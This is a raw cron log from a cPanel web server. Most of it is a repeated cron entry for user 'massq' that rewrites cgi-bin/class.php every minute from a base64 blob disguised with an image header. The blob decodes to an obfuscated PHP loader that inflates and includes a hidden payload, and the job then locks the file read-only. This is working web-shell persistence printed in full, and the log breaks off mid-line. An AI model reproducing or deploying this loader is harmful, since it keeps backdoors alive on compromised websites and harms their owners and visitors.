Nov 12 22:42:01 server CROND[4452]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:42:01 server CROND[4451]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 22:43:01 server CROND[5410]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:44:01 server CROND[6267]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:45:01 server CROND[7120]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 22:45:01 server CROND[7121]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 22:45:01 server CROND[7124]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:46:01 server CROND[8029]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:47:01 server CROND[9046]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:48:01 server CROND[9572]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:49:01 server CROND[10452]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:50:01 server CROND[11367]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 22:50:01 server CROND[11369]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 22:50:01 server CROND[11371]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 22:50:01 server CROND[11373]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 22:50:01 server CROND[11372]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:51:01 server CROND[12306]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:52:01 server CROND[13036]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:53:01 server CROND[13951]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:54:01 server CROND[14885]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:55:01 server CROND[15752]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 